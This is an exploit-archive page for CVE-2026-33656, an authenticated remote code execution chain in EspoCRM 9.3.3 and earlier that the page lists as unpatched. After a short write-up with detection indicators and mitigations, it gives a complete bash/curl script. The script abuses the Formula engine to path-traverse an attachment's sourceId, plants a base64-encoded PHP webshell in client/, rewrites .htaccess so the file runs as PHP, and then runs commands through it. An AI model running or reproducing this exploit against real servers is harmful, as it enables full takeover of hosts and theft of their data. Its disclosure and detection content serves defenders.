PoC Archive PoC Archive
Critical CVE-2026-33656 unpatched

EspoCRM Authenticated RCE via Formula ACL Bypass + Attachment Path Traversal — CVE-2026-33656

by Jiva (jivasecurity.com) · 2026-07-05

Severity
Critical
CVE
CVE-2026-33656
Category
web
Affected product
EspoCRM <= 9.3.3
Affected versions
All versions up to and including 9.3.3
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherJiva (jivasecurity.com)
CVE / AdvisoryCVE-2026-33656
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsespocrm, rce, path-traversal, webshell, htaccess-poisoning, formula-engine, authenticated, crm
RelatedN/A

Affected Target

FieldValue
Software / SystemEspoCRM <= 9.3.3
Versions AffectedAll versions up to and including 9.3.3
Language / PlatformBash (curl) targeting PHP web application
Authentication RequiredYes (admin credentials)
Network Access RequiredYes

Summary

EspoCRM’s Formula scripting engine (Formula/action/run) can be abused by an admin-authenticated user to bypass access controls and directly rewrite the sourceId field of an Attachment record, redirecting where uploaded chunk data is written on disk via path traversal (../../). Combined with EspoCRM’s chunked attachment upload endpoint, this lets an attacker first plant a PHP webshell inside the web-accessible client/ directory, then poison the application’s .htaccess file to register .txt-named files for PHP execution via SetHandler application/x-httpd-php. The bundled shell script PoC automates the full six-step chain end-to-end: create a placeholder attachment, redirect its sourceId to ../../client/x via a Formula expression, upload a base64-encoded PHP webshell payload via the chunk endpoint, repeat the process to redirect a second attachment to ../../.htaccess, append the PHP handler directive, and finally invoke the resulting webshell at /client/x?c=<command> to achieve OS command execution.


Vulnerability Details

Root Cause

The Formula engine’s record\update() function does not enforce the same access-control/sanitization restrictions on the Attachment.sourceId field as the normal attachment API, allowing an authenticated user to set it to an arbitrary path-traversal value. The chunked-upload endpoint then writes attacker-supplied bytes to whatever filesystem path sourceId resolves to, including files inside the web root and the application’s own .htaccess.

Attack Vector

  1. Authenticate to EspoCRM with any account holding Formula execution and Attachment/Document access.
  2. Create a placeholder Attachment record and use Formula/action/run to overwrite its sourceId with a traversal path pointing into the web-accessible client/ directory.
  3. Upload a base64-encoded PHP webshell (<?php system($_GET["c"]); ?>) through the /api/v1/Attachment/chunk/{id} endpoint, which writes it to the redirected path.
  4. Repeat steps 2-3 for a second attachment, redirecting sourceId to ../../.htaccess and appending a <FilesMatch>/SetHandler application/x-httpd-php directive that makes the arbitrary-extension webshell file execute as PHP.
  5. Request the planted webshell (/client/x?c=<command>) to execute arbitrary OS commands with the web server’s privileges.

Impact

A user with legitimate EspoCRM login credentials (not necessarily a super-admin) can achieve full remote code execution on the underlying server, leading to complete compromise of the host and any data it can access.


Environment / Lab Setup

Target:   EspoCRM <= 9.3.3 (e.g. http://192.168.5.16:8090)
Attacker: bash, curl, optionally jq (falls back to grep/cut for JSON parsing)

Proof of Concept

PoC Script

See ESPOCRM-RCE-POC-CVE-2026-33656.sh in this folder.

1
./ESPOCRM-RCE-POC-CVE-2026-33656.sh http://192.168.5.16:8090 admin admin id

The script performs the full six-step chain automatically: creates the webshell attachment, uses the Formula ACL bypass to redirect its sourceId via path traversal into client/, uploads the base64-encoded PHP payload, repeats the process against .htaccess to register PHP execution for the arbitrary-extension file, and finally executes the supplied OS command through the resulting webshell, printing “RCE CONFIRMED” if the output matches a uid= pattern.


Detection & Indicators of Compromise

Signs of compromise:

  • Formula execution requests containing record\update calls targeting the Attachment entity’s sourceId field.
  • Unexpected new PHP-executable files inside the client/ directory or a modified .htaccess containing SetHandler application/x-httpd-php for non-standard filenames.
  • Outbound requests to /client/x?c= or similarly named unexpected paths returning command output.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; restrict Formula engine access to trusted admins only and validate/sanitize sourceId writes against path traversal.
Interim mitigationDisable or tightly restrict the Formula module for non-admin roles, and lock down .htaccess and client/ directory permissions so the application process cannot write executable content there.

References


Notes

Mirrored from https://github.com/JivaSecurity/ESPOCRM-RCE-POC-CVE-2026-33656 on 2026-07-05.

ESPOCRM-RCE-POC-CVE-2026-33656.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
#!/bin/bash
# ===========================================================================
# EspoCRM <= 9.3.3 CVE-2026-33656 — Authenticated RCE via Formula ACL Bypass
# + Attachment sourceId Path Traversal + .htaccess Poisoning
#
# Author  : Jiva (jivasecurity.com)
# Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
# Product : EspoCRM <= 9.3.3
# Auth    : Admin credentials required
# Impact  : OS command execution
#
# Usage:
#   ./poc.sh <base_url> <username> <password> [command]
#
# Example:
#   ./poc.sh http://192.168.5.16:8090 admin admin id
# ===========================================================================

BASE="${1:-http://192.168.5.16:8090}"
USER="${2:-admin}"
PASS="${3:-admin}"
CMD="${4:-id}"

AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
AUTH="Espo-Authorization: $AUTH_B64"

# JSON id extractor — prefers jq, falls back to grep+cut (no python3 needed)
extract_id() {
    if command -v jq &>/dev/null; then
        jq -r '.id'
    else
        grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
    fi
}

die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }

echo "[*] Target : $BASE"
echo "[*] User   : $USER"

# ── Step 1: Create attachment (Document/file, .txt — passes accept list) ──────
echo ""
echo "[1/6] Creating webshell attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
SHELL_ID=$(echo "$RESP" | extract_id)
[[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned — response: $RESP"
echo "    Attachment ID: $SHELL_ID"

# ── Step 2: Formula sets sourceId → ../../client/x (path traversal) ──────────
echo "[2/6] Setting sourceId via formula (ACL bypass)..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed — $RESP"
echo "    sourceId → ../../client/x"

# ── Step 3: Chunk upload writes PHP webshell to client/x ─────────────────────
echo "[3/6] Writing PHP webshell to client/x..."
# Payload: <?php system($_GET["c"]); ?>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
  -H "$AUTH" -H "Content-Type: application/octet-stream" \
  --data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
echo "    Response: $RESP"

# ── Step 4: Create second attachment for .htaccess modification ───────────────
echo "[4/6] Creating .htaccess attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
HT_ID=$(echo "$RESP" | extract_id)
[[ -n "$HT_ID" ]] || die "Step 4" "no id returned — response: $RESP"
echo "    Attachment ID: $HT_ID"

# ── Step 5: Formula sets sourceId → ../../.htaccess ──────────────────────────
echo "[5/6] Redirecting to .htaccess via formula..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed — $RESP"
echo "    sourceId → ../../.htaccess"

# ── Step 6: Chunk upload appends PHP handler directive to .htaccess ───────────
echo "[6/6] Appending PHP handler directive to .htaccess..."
# Payload:
#   <FilesMatch "^x$">
#   SetHandler application/x-httpd-php
#   </FilesMatch>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
  -H "$AUTH" -H "Content-Type: application/octet-stream" \
  --data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
echo "    Response: $RESP"

# ── Execute ───────────────────────────────────────────────────────────────────
echo ""
echo "[*] Executing: $CMD"
echo "    Webshell: $BASE/client/x?c=<cmd>"
echo ""

RESULT=$(curl -s "$BASE/client/x?c=$CMD")
echo "$RESULT"
echo ""

if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
    echo "[+] RCE CONFIRMED"
else
    echo "[-] Webshell did not return expected output — check manually:"
    echo "    curl -v '$BASE/client/x?c=id'"
fi